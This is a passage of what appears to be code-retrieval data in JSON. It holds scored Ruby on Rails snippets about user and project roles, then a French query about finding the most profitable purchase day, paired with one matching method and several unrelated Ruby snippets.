[ { "docid": "7b440ec3ea3a5288b739e331b63a114c", "score": "0.7758174", "text": "def index\n @project_roles = ProjectRole.all\n end", "title": "" }, { "docid": "7b440ec3ea3a5288b739e331b63a114c", "score": "0.7758174", "text": "def index\n @project_roles = ProjectRole.all\n end", "title": "" }, { "docid": "145c301a08ad6e86ca1061acb21784e3", "score": "0.7274127", "text": "def roles\n url = \"/gdc/projects/#{pid}/roles\"\n tmp = GoodData.get(url)\n tmp['projectRoles']['roles'].map do |role_url|\n json = GoodData.get role_url\n GoodData::ProjectRole.new(json)\n end\n end", "title": "" }, { "docid": "b3c540cb25f8e78db621633dadf661be", "score": "0.7254308", "text": "def get_project_roles(pid)\n\n headers = {:x_storageapi_token => @kbc_api_token, :accept => :json, :content_type => :json}\n\n query = \"/gdc/projects/#{pid}/roles\"\n\n response = RestClient.get \"#{@api_endpoint}/proxy?writerId=#{@writer_id}&query=#{query}\", headers\n\n # parse key values for specific project roles\n\n return response\n\n end", "title": "" }, { "docid": "9ff295b0b30d9c583461e5c2bb9fa897", "score": "0.72062784", "text": "def show\n @project_role = ProjectRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_role }\n end\n end", "title": "" }, { "docid": "6b3d66e3dd385c6f3a3f8870da19d6de", "score": "0.71292126", "text": "def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "40e241d5dfafd0524bdb7ceb33577e1d", "score": "0.7054797", "text": "def get_user_roles\n @roles = @user.roles.pluck(:name)\n render json: @roles\n end", "title": "" }, { "docid": "31e9b34c6087add7d368d2e6397f24a8", "score": "0.7015078", "text": "def GetRole id\n\n APICall(path: \"custom_roles/#{id}.json\")\n\n end", "title": "" }, { "docid": "7b6ec768f8913a9b6aa0cc256701cda8", "score": "0.6875395", "text": "def index\n client_application_id = current_user.client_application_id.to_s\n @roles = Role.where(client_application_id: client_application_id)\n end", "title": "" }, { "docid": "7f7e8b7ec627505d5df3591db858f863", "score": "0.6864305", "text": "def set_project_role\n @role = @project.roles.find_by!(id: params[:id]) if @project\n end", "title": "" }, { "docid": "7f7e8b7ec627505d5df3591db858f863", "score": "0.6864305", "text": "def set_project_role\n @role = @project.roles.find_by!(id: params[:id]) if @project\n end", "title": "" }, { "docid": "5a2d856e2b13653ea32ef5afeb441c95", "score": "0.6829212", "text": "def index\n @roles = System::Role.all\n end", "title": "" }, { "docid": "547b16d11de2d55307d225071870de88", "score": "0.682194", "text": "def roles_path\n @roles_path ||= '/api/v2/roles'\n end", "title": "" }, { "docid": "888e5913a49cdb76e81b242cb4b181ae", "score": "0.68140846", "text": "def index\n @project_customer_roles = ProjectCustomerRole.all\n end", "title": "" }, { "docid": "b119eb370ba88ca96402c8d10def170a", "score": "0.6812715", "text": "def index\n @project_participants = ProjectParticipant.all\n @roles = ProjectParticipant.roles\n end", "title": "" }, { "docid": "659dea4c5c914a906f0c71f994a86964", "score": "0.67649835", "text": "def roles!(access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :GET\n request[:path] = '/mgmt/{{client_id}}/roles'\n end.execute!\n\n json[:roles]\n end", "title": "" }, { "docid": "edfdc928defffa3a50699a3a74bdb86d", "score": "0.67433673", "text": "def getProjectActorByRole\n if @role.nil? and !current_actor.superadmin\n json_response({ message: \"You don't have permission to view roles for this project\" }, :unauthorized)\n return\n end\n r = @project.roles.find(params[\"role_id\"])\n json_response(Actor.find(r.actor_id))\n end", "title": "" }, { "docid": "627627ce1fd0714364d5c8d121420435", "score": "0.67292434", "text": "def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "27be324349fcee18651e25842db91bd3", "score": "0.6721647", "text": "def index\n @program_roles = ProgramRole.all\n end", "title": "" }, { "docid": "ff79db93e386e3f96dba98720253e256", "score": "0.6708733", "text": "def index\n @roles = record.roles.includes(:resource)\n render jsonapi: @roles, include: %i[users groups resource]\n end", "title": "" }, { "docid": "3d9d38c2ab39ee66b98df9fec73b7e84", "score": "0.66825396", "text": "def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end", "title": "" }, { "docid": "d852b5dea70167d841bdf08b5925b1d4", "score": "0.666377", "text": "def show\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_and_permission }\n end\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.66370666", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "84dd59bea110bff2491e082276669f0c", "score": "0.6636148", "text": "def show\n @vacant_roles = []\n @filled_roles = []\n @project.project_roles.each do |role|\n if role.member_id then\n @filled_roles << role\n else\n @vacant_roles << role\n end\n end\n end", "title": "" }, { "docid": "461fb1ccde85fd11a552eb23c170f05f", "score": "0.66329324", "text": "def index\n @org_roles = OrgRole.all\n end", "title": "" }, { "docid": "4958d31246717e2af8ec7448938d7a4e", "score": "0.6625702", "text": "def roles\n self.dig_for_array(\"roles\")\n end", "title": "" }, { "docid": "30700de2f5425b21e4fadf20df53acee", "score": "0.6617045", "text": "def index\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "019607ae9e38e13edbc0cbe24004f9ca", "score": "0.6600416", "text": "def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end", "title": "" }, { "docid": "240d3d3550cebf9459daffb31143a093", "score": "0.65978324", "text": "def index\n @roles = Rol.all\n end", "title": "" }, { "docid": "c8ea5e8b8475d8245643d6cbea038bcc", "score": "0.65812564", "text": "def show\n @roles = Role.all\n end", "title": "" }, { "docid": "4cc3d9aee4dd761aa1b8d0824ec455f2", "score": "0.656712", "text": "def index\n authorize Role\n @roles = Role.all\n end", "title": "" }, { "docid": "a56ae517d57cccd4629531338ff2bb19", "score": "0.65288097", "text": "def show\n @project = Project.find(params[:id])\n @user_type = @project.roles.where(:user_id => session[:id]).first.name\n \n @stats = @project.get_stats\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "73f7077148011877614d47b6ca64f17c", "score": "0.6488679", "text": "def index\n @roles = @client.roles\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "title": "" }, { "docid": "93abc80515223cc5fe298e1e0e03d4f1", "score": "0.6476949", "text": "def index\n @team_user_roles = TeamUserRole.all\n end", "title": "" }, { "docid": "18f737e3ed89e29fd0c04b7069331912", "score": "0.64546853", "text": "def new\n @project_role = ProjectRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_role }\n end\n end", "title": "" }, { "docid": "917dd294be53f9cf865b90da32cc76f8", "score": "0.6449903", "text": "def index\n @app_roles = AppRole.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_roles }\n end\n end", "title": "" }, { "docid": "620d7e589e334dc63042d365e34e297d", "score": "0.64237505", "text": "def index\n @user_roles = UserRole.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "title": "" }, { "docid": "46074c5434f22dfb8391fef15523e1e2", "score": "0.6412709", "text": "def assignedRole\n id = params[:id] # retrieve project ID from URI route\n rolename = params[:rolename]\n proj = Project.find(id)\n role = Role.find_by(project_id: id)\n if proj.assigned_role(params[:username], rolename)\n head :no_content\n else\n render_error(:unprocessable_entity, \"Failed to assign a role\")\n end\n end", "title": "" }, { "docid": "140d2f64b3f559ecc858e838d45a4d14", "score": "0.64020723", "text": "def set_project_role\n @project_role = ProjectRole.find(params[:id])\n end", "title": "" }, { "docid": "140d2f64b3f559ecc858e838d45a4d14", "score": "0.64020723", "text": "def set_project_role\n @project_role = ProjectRole.find(params[:id])\n end", "title": "" }, { "docid": "10b6a0fb5679cb381197f96e2510dc7f", "score": "0.63945264", "text": "def list\n # We don't use pagination here since we want to display the roles in a\n # nice tree. Additionally, there won't be more than ~100 roles in a\n # normal scenario anyway - far less!\n @roles = Role.find(:all)\n end", "title": "" }, { "docid": "3a500528c3b80ebb0233d56fad07e049", "score": "0.6390498", "text": "def rbac_role_resource\n url_for(:roles_role, credentials, id) \n end", "title": "" }, { "docid": "63ba463feed468ac2d5614a07a67abef", "score": "0.63895214", "text": "def get_role user\n project_role_user = ProjectRoleUser.where(:project_id => self, :user_id => user).first\n if project_role_user\n project_role_user.role.name\n else\n nil\n end\n end", "title": "" }, { "docid": "860a795b59f4adf27c5b84cd8132bac2", "score": "0.63791955", "text": "def index\n\t\tparamsr\n\t\tglobal\n\t\t# render json: @roles, each_serializer: RoleSerializer, root: false\n\tend", "title": "" }, { "docid": "2e148411c931c369c21edbd14566d77c", "score": "0.6364216", "text": "def roles\n response[\"roles\"]\n end", "title": "" }, { "docid": "215817133b1526811e133d137a1d1d06", "score": "0.6352162", "text": "def index\n @iams = $iam.groups.map{ |x| Iam.new(name: x.name) } \n @users = $iam.users\n @roles = $iam.client.list_roles \n end", "title": "" }, { "docid": "138c814f9807a42372da27f66940cf3e", "score": "0.6342835", "text": "def index\n @team_roles = TeamRole.where(lab: @lab)\n end", "title": "" }, { "docid": "3d94a50c36a49c176f23ba945e9ec83b", "score": "0.6339106", "text": "def roles_for_project(project)\n roles = []\n # No role on archived projects\n return roles unless project && project.active?\n if logged?\n # Find project membership\n membership = memberships.detect { |m| m.project_id == project.id }\n if membership\n roles = membership.roles\n else\n @role_non_member ||= Role.non_member\n roles << @role_non_member\n end\n else\n @role_anonymous ||= Role.anonymous\n roles << @role_anonymous\n end\n roles\n end", "title": "" }, { "docid": "5978e780217313270fcd1acf402575a3", "score": "0.6339033", "text": "def role_data(id)\n @conn.get(\"/api/v1/roles/#{id}\")\n end", "title": "" }, { "docid": "f9840f619682392dc61105d71a768b03", "score": "0.6317689", "text": "def index\n @cms_roles = Cms::Role.all\n end", "title": "" }, { "docid": "0705c20f2904cf3ce6de50a91b102e57", "score": "0.63126194", "text": "def getRole\n @users = User.where(\"role = ?\", params[:role]).NameOrder\n render json: @users\n end", "title": "" }, { "docid": "cc95999bcdc3a9edaf83318699288c06", "score": "0.62997913", "text": "def list\n\n @roles = Role.find(:all, :order => 'name')\n\n end", "title": "" }, { "docid": "458a31a81739a214ae3e0253a13d6922", "score": "0.629465", "text": "def index\n @movie_roles = @movie.roles\n end", "title": "" }, { "docid": "406bc3fd24060003cf05ad5ce8dbdd66", "score": "0.6285289", "text": "def index\n @core_user_roles = Core::UserRole.find_mine(params).paginate(page: params[:page])\n end", "title": "" }, { "docid": "7840b47c81e80f7ff2c8b90a51bb3987", "score": "0.6280361", "text": "def index\n @roles = policy_scope(Role).page(pagination[:page]).per(pagination[:per])\n end", "title": "" }, { "docid": "624f6a2c05f3a0dd43664e2c86e4df93", "score": "0.6275441", "text": "def index\n @roles = Role.page params[:page]\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles}\n end\n end", "title": "" }, { "docid": "7ba174e6114cfd302fb91d26e742d8cd", "score": "0.62724406", "text": "def roles\n client.user_roles(id)\n end", "title": "" }, { "docid": "7ba174e6114cfd302fb91d26e742d8cd", "score": "0.62724406", "text": "def roles\n client.user_roles(id)\n end", "title": "" }, { "docid": "8d7e096167f7d9417e340d1251b777dd", "score": "0.6261731", "text": "def show\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end", "title": "" }, { "docid": "a7aa89c5dbb61b8975d423aaba54a5f2", "score": "0.6247426", "text": "def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end", "title": "" }, { "docid": "b00b6d8fb30d92a46017ee011e242ead", "score": "0.62465245", "text": "def show\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "title": "" }, { "docid": "8aaf1a6319ed2d78a4e06398cc94d197", "score": "0.62106586", "text": "def roles\n roles_from_users\n end", "title": "" }, { "docid": "b9fbed06bb8eb8509429a0c49928e8e6", "score": "0.6208332", "text": "def show\n @lab_role = LabRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_role }\n end\n end", "title": "" }, { "docid": "6541bb8a3dd2212e759bc4a618f37ad2", "score": "0.620726", "text": "def index\n @required_roles = RequiredRole.all\n end", "title": "" }, { "docid": "096660fca1a8f189bdfa0847676ba424", "score": "0.6204638", "text": "def index\n @roles = Role.page params[:page]\n end", "title": "" }, { "docid": "df775565f32ac445be6213e0ef5005ff", "score": "0.61991155", "text": "def role_select\n @@Roles.list\n end", "title": "" }, { "docid": "f5564689a9423ee2e07e7c483a157e75", "score": "0.61987615", "text": "def index\n @users_roles = UsersRole.all\n end", "title": "" }, { "docid": "d1d7212251b51968c3384c38960afd1b", "score": "0.619583", "text": "def show\n render json: @role\n end", "title": "" }, { "docid": "f8c1062ce2c369243fd16fae41da186a", "score": "0.6195263", "text": "def index\n @entity_roles = EntityRole.all\n end", "title": "" }, { "docid": "a60a6eadd4c93d111b39af4e8867e6a7", "score": "0.61927074", "text": "def index\n @sulabh_user_roles = SulabhUserRole.all\n end", "title": "" }, { "docid": "5e6681fb213ca00dcde9b80280fa8352", "score": "0.6169731", "text": "def show(id = @id, user = @@default_user)\n @attributes = send_request(\"roles/#{id}\", :get) do |req|\n req.params = {\n auth_token: user.auth_token\n }\n end\n end", "title": "" }, { "docid": "573c6199655bff1f067385d2109cd282", "score": "0.61654025", "text": "def index\n @roles = Role.all\n \n respond_to do |format|\n format.html { render :layout => 'application' } # use client application's layout\n format.xml { render :xml => @roles }\n end\n end", "title": "" }, { "docid": "4235cb71db1571ec4045b1c5f635c1f5", "score": "0.61648536", "text": "def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end", "title": "" }, { "docid": "c80ebc4d81b055f6b73d8b49ce64e51b", "score": "0.61502033", "text": "def index\n #@projects = Project.all\n projectids = []\n allprojects = Role.find_by_sql([\"select id, authorizable_id from roles join roles_users on roles.id = roles_users.role_id where roles.authorizable_type = 'Project' and roles_users.user_id = ?\", current_user])\n projectids = allprojects.collect{|p| p.authorizable_id}\n @projects = Project.find(:all, :conditions => {:id => projectids})\n \n @adminrole = []\n @userrole = []\n \n @projects.each do |project|\n if current_user.is?(\"admin\", project) or current_user.is?(\"manager\", project) or current_user.is?(\"editor\", project) or current_user.is?(\"owner\", project)\n @adminrole << project\n elsif current_user.is?(\"user\", project)\n @userrole << project\n end \n end\n p \"admin\"\n p @adminrole\n \n alltargetlists = Role.find_by_sql([\"select id, authorizable_id from roles join roles_users on roles.id = roles_users.role_id where roles.authorizable_type = 'TargetList' and roles_users.user_id = ?\", current_user])\n targetlistids = alltargetlists.collect{|t| t.authorizable_id}\n @target_lists = TargetList.find(:all, :conditions => {:id => targetlistids})\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end", "title": "" }, { "docid": "8363e751d93545f1f9d53c3eab901c63", "score": "0.614391", "text": "def show\n @role = Role.includes(:personal_roles => :person).find_by_slug!(params[:id])\n respond_to do |format|\n format.html\n format.json { render :json => @role }\n end\n end", "title": "" }, { "docid": "8b0fff7c39d3f659bcd74e434e67bd75", "score": "0.61358875", "text": "def index\n @users = User.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @user_roles }\n end\n end", "title": "" }, { "docid": "f79eb986d271aeb313171c6a7a0dec76", "score": "0.612399", "text": "def index\n @profile_roles = ProfileRole.all\n end", "title": "" }, { "docid": "9bec1285ed1e825b8f40a7ba1444f90a", "score": "0.61206245", "text": "def roles(options = {})\n headers = extract_headers!(options)\n json = client.list(\"/v1/auth/approle/role\", options, headers)\n return Secret.decode(json).data[:keys] || []\n rescue HTTPError => e\n return [] if e.code == 404\n raise\n end", "title": "" }, { "docid": "ae0a6ccb1eb221c0f47fe2247c3ebc2a", "score": "0.6116746", "text": "def list\n @roles = Role.all(:include => [:groups, :users])\n end", "title": "" }, { "docid": "c93038789d09fb6277f4c8d5a369e5af", "score": "0.6106452", "text": "def show\n @role = Role.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "35e381700272ddfcf2237546546ed098", "score": "0.60840625", "text": "def index\n @all_roles = Role.all\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end", "title": "" }, { "docid": "38471f3eacece65ca7670bfe6eedb972", "score": "0.60833204", "text": "def role_for_project(project)\n # No role on archived projects\n return nil unless project && project.active?\n if logged?\n # Find project membership\n membership = memberships.detect {|m| m.project_id == project.id}\n if membership\n membership.role\n else\n @role_non_member ||= Role.non_member\n end\n else\n @role_anonymous ||= Role.anonymous\n end\n end", "title": "" }, { "docid": "b71890906f257a6cca7072a52de40524", "score": "0.60774297", "text": "def index\n @roles = Role.order(\"name\").all\n @user_list = User.order(\"email\").all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "67d6255d453796a888359fdcdcdf7bc7", "score": "0.60670906", "text": "def index\n @sys_roles = SysRole.all\n end", "title": "" }, { "docid": "3387ac761d746ebde885e85ac27caf4f", "score": "0.60542697", "text": "def index\n if (current_user.role == \"admin\" || current_user.role == \"manager\")\n @projects = Project.order('name').page(params[:page])\n else\n userprojects = current_user.users_projects.where(\"user_project_role = ?\", \"manager\")\n @projects = current_user.projects.where(id: userprojects.pluck(:project_id)).order('name').page(params[:page])\n end\n end", "title": "" }, { "docid": "f4a94183e05334576fe9a2359291c57a", "score": "0.60525274", "text": "def get_cloud_roles(cloud_id)\n http_get_request(Scalarium.clouds_url+\"/#{cloud_id}/roles\") \n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.60505027", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.60505027", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.60505027", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "feba88255bc695173d9cd8f23e61ca86", "score": "0.6037994", "text": "def destroy\n @project_role = ProjectRole.find(params[:id])\n @project_role.destroy\n\n respond_to do |format|\n format.html { redirect_to project_roles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dff7eee7772eb8f51ac8905798fb94d0", "score": "0.603671", "text": "def get_roles_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UserApi.get_roles ...'\n end\n # resource path\n local_var_path = '/api/3/roles'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ResourcesRole')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UserApi#get_roles\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "930dcd1f771bcef6c3ea4646a0a909d9", "score": "0.602902", "text": "def show\n if can?(:read, User)\n @user = User.find(params[:id])\n @roles = \"\"\n\n @user.roles.each do |role|\n if @roles == \"\"\n @roles += role.name\n else\n @roles += \", \" + role.name\n end\n end\n end\n\n respond_to do |format|\n format.json { render :json => @user }\n format.xml { render :xml => @user }\n format.html \n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end", "title": "" }, { "docid": "697fcf778915720af4b416e8afb495ac", "score": "0.60205376", "text": "def index\n @roles = @vendor.roles.vendor_only # TODO change to roles\n end", "title": "" }, { "docid": "a0069f4b49ed3ecb3a2feeecf881ed50", "score": "0.60190344", "text": "def list_roles(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListRoles'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :marker\n\t\t\targs[:query]['Marker'] = optional[:marker]\n\t\tend\n\t\tif optional.key? :max_items\n\t\t\targs[:query]['MaxItems'] = optional[:max_items]\n\t\tend\n\t\tself.run(args)\n\tend", "title": "" }, { "docid": "22e5a57d44ba4e0da535af1a0c1cda81", "score": "0.601622", "text": "def get_external_roles\n get(\"#{url_base}/external_role_map/all?#{dc}\")[\"data\"]\n end", "title": "" }, { "docid": "8ed8659ad87d8c902997db3fbe4336c3", "score": "0.60128313", "text": "def index\n @roles_privileges = RolesPrivilege.all\n end", "title": "" } ]
aa05e10dde0591f9685e35f4f118eab2
donne le jour d'achat pour lequel on peut avoir la plus grosse plusvalue
[ { "docid": "a0eddca0be5aeeecf6a884107e670a00", "score": "0.0", "text": "def day_optimized(benefits_exit)\n return benefits_exit.index { |num| num == benefits_exit.max } \nend", "title": "" } ]
[ { "docid": "c2bdc581e37828f085814cb97df1bde5", "score": "0.67342436", "text": "def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend", "title": "" }, { "docid": "250207c5000fb41fcb8325f36a759181", "score": "0.6311515", "text": "def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend", "title": "" }, { "docid": "51a1191f5f5cbe3e929cf032c6c5c2e5", "score": "0.6105768", "text": "def ausgleich\n\t\tsums = {}\n\t\t%w(jo caro).each do |who|\n\t\t\tsums[who] = @db.get_first_value(\"select summe from sum_#{who} where jahr = #{@options[:jahr]} and monat = #{@options[:monat]} and gemeinsam = 'g'\").to_f\n\t\tend\n\n\t\tif(sums['jo'] == sums['caro'])\n\t\t\tputs \"Gleichstand\"\n\t\t\treturn\n\t\tend\n\n\t\tausg = ((sums['jo'] + sums['caro']) / 2 - sums['jo']).abs\n\t\t\n\t\tif(sums['jo'] > sums['caro'])\n\t\t\tprintf(\"Caro an Jo: %.2f EUR\\n\", ausg)\n\t\telse\n\t\t\tprintf(\"Jo an Caro: %.2f EUR\\n\", ausg)\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "6d9b5323cf15bd7b9a2474bb24ecc3e2", "score": "0.5894141", "text": "def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend", "title": "" }, { "docid": "49d7f4ca3641c836d57e619ee9bd4dc4", "score": "0.58662766", "text": "def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend", "title": "" }, { "docid": "8791203361d9bbe9cf55dac17650084b", "score": "0.58374697", "text": "def irpoliinsaturadas\n vag=(grasaspoli * 100) / 70\n vag.round(2)\n end", "title": "" }, { "docid": "1cbc971f9fb39f26fcdb46ab75488b54", "score": "0.5820574", "text": "def get_val()\n val = (@proteinas * 4) + (@lipidos * 9) + (@glucidos * 4)\n end", "title": "" }, { "docid": "f5678f2e8a0102ac8f5ae3c218a7c0bf", "score": "0.5817158", "text": "def get_valor_energetico\n \n return ((@proteinas + @glucidos) * 4 + @lipidos * 9).round(1)\n \n \n end", "title": "" }, { "docid": "1e1588fa9e29625e0532b668ced2961d", "score": "0.5797796", "text": "def valor_energetico\n (@proteinas * 4) + (@glucidos * 4) + (@grasas * 9)\n end", "title": "" }, { "docid": "ead0572275ec661cae850bf6ccc456f7", "score": "0.5775742", "text": "def ir_grasa_saturada \n\t\t@ir_grasa_saturada = (@saturadas/20.to_f)*100\n\t\t@ir_grasa_saturada.round(1)\n\tend", "title": "" }, { "docid": "5f531a23f87b13c344177345eb8785bf", "score": "0.57417023", "text": "def valorgrasassatup\n\t\tvag=(cgrasassa * 70) / 100\n vag.round(2)\n\tend", "title": "" }, { "docid": "9113b4b1a2b4d53ada343d8ad46e2fdc", "score": "0.57245857", "text": "def pega_soma (valor1, valor2)\n valor1 + valor2\nend", "title": "" }, { "docid": "9ae05e96ea6799662a9e83e8fa4f3e14", "score": "0.57003695", "text": "def games_won_or_lost(add_one_point)\n if add_one_point > 0\n return\n @points += add_one_point\n else\n add_one_point == 0\n return\n @points \n end\nend", "title": "" }, { "docid": "2d5263e312a976cb5eff92d5fa3a260d", "score": "0.5695112", "text": "def porcentaje_graso\n (1.2*calcular_imc)+(0.23*@edad)-(10.8*@sexo)-5.4\n end", "title": "" }, { "docid": "cf1c885fbf93170ea2a297a115065685", "score": "0.5685792", "text": "def valor_total_gasto\n\t\tself.qualificacoes.sum(:valor_gasto)\n\tend", "title": "" }, { "docid": "95d2872e2fdfeb122aa8e69b1a516a84", "score": "0.5665252", "text": "def irpoliinsaturadasp\n vag=(valorgrasaspolip * 100) / 70\n vag.round(2)\n end", "title": "" }, { "docid": "466a5242958abe8d511b127f25af6c4e", "score": "0.56613046", "text": "def addMalus(val)\n\t\t@malus += val\n\tend", "title": "" }, { "docid": "e78da4b90fe9c8a7ac7864eaabbbe7de", "score": "0.5653327", "text": "def irgrasassaturadas\n vag=(cgrasassa * 100) / 70\n vag.round(2)\n end", "title": "" }, { "docid": "aa4d6e000e65d2ca6d3e10e92ac2a8ab", "score": "0.5653184", "text": "def add(val)\n \n end", "title": "" }, { "docid": "84eb71294778d7541fa4416b9d82f8fa", "score": "0.5652403", "text": "def irgrasassaturadasp\n vag=(valorgrasassatup * 100) / 70\n vag.round(2)\n end", "title": "" }, { "docid": "5f5b32e16f8c4666e163f709ba447974", "score": "0.5625332", "text": "def pega_soma(v1,v2)\r\n v1 + v2\r\nend", "title": "" }, { "docid": "ceff92d31ec15cb6b90e6186b22bd479", "score": "0.56133085", "text": "def ajouterCoup(coup)\n if(coup.couleur != coup.case.couleur && coup.couleur < Couleur::ILE_1)\n coup.case.couleur = coup.couleur\n @grilleRaz = nil\n tabCoup.pop(tabCoup.size - @indiceCoup) #supprimer les coups annulés\n tabCoup.push(coup)\n @indiceCoup += 1\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n\n return true\n end\n return false\n end", "title": "" }, { "docid": "8736ba921f1d84bf8ea8cbf7a46c447f", "score": "0.5592863", "text": "def positive; end", "title": "" }, { "docid": "8736ba921f1d84bf8ea8cbf7a46c447f", "score": "0.5592863", "text": "def positive; end", "title": "" }, { "docid": "42fd46dd176ea69dd337972688dbc257", "score": "0.5571763", "text": "def ir_grasa_total \n\t\t@grasa_ir = grasas_totales\n\t\t@ir_grasa_total = (@grasa_ir/70.to_f) * 100\n\t\t@ir_grasa_total.round(1)\n\tend", "title": "" }, { "docid": "3a61d050fefd80584c11af26deaa3ea2", "score": "0.5571046", "text": "def ajouterCoup(coup)\n if(coup.couleur != coup.case.couleur && coup.couleur < Couleur::ILE_1)\n coup.case.couleur = coup.couleur\n @grilleRaz = nil\n @tabCoup.pop(@tabCoup.size - @indiceCoup) #supprimer les coups annulés\n @tabCoup.push(coup)\n @indiceCoup += 1\n return true\n end\n return false\n end", "title": "" }, { "docid": "ac8ab9cd081bb8451f4f3d1d5e3fd503", "score": "0.55557984", "text": "def valorsemaforo\n va = Float(valoractual)\n if va < Float(self.valorfinalrojo)\n 1\n elsif va < Float(self.valorfinalamarillo)\n 2\n else\n 3\n end\n end", "title": "" }, { "docid": "937a2215adb38ad6c08a6bb280a1ad6b", "score": "0.553335", "text": "def vrat_soucet_vah(jedinec)\n soucet = 0\n citac = 0\n jedinec.each do |prvek| \n if(prvek)then\n soucet += @pole_vah[citac].to_i\n end\n citac +=1\n end\n return soucet\n end", "title": "" }, { "docid": "e035fdf98b96aedfaf7c159478836c32", "score": "0.5529257", "text": "def add_guts(value)\n if actor?\n actor_guts = self.actor.guts_param\n self.actor.guts_param = [[actor_guts + 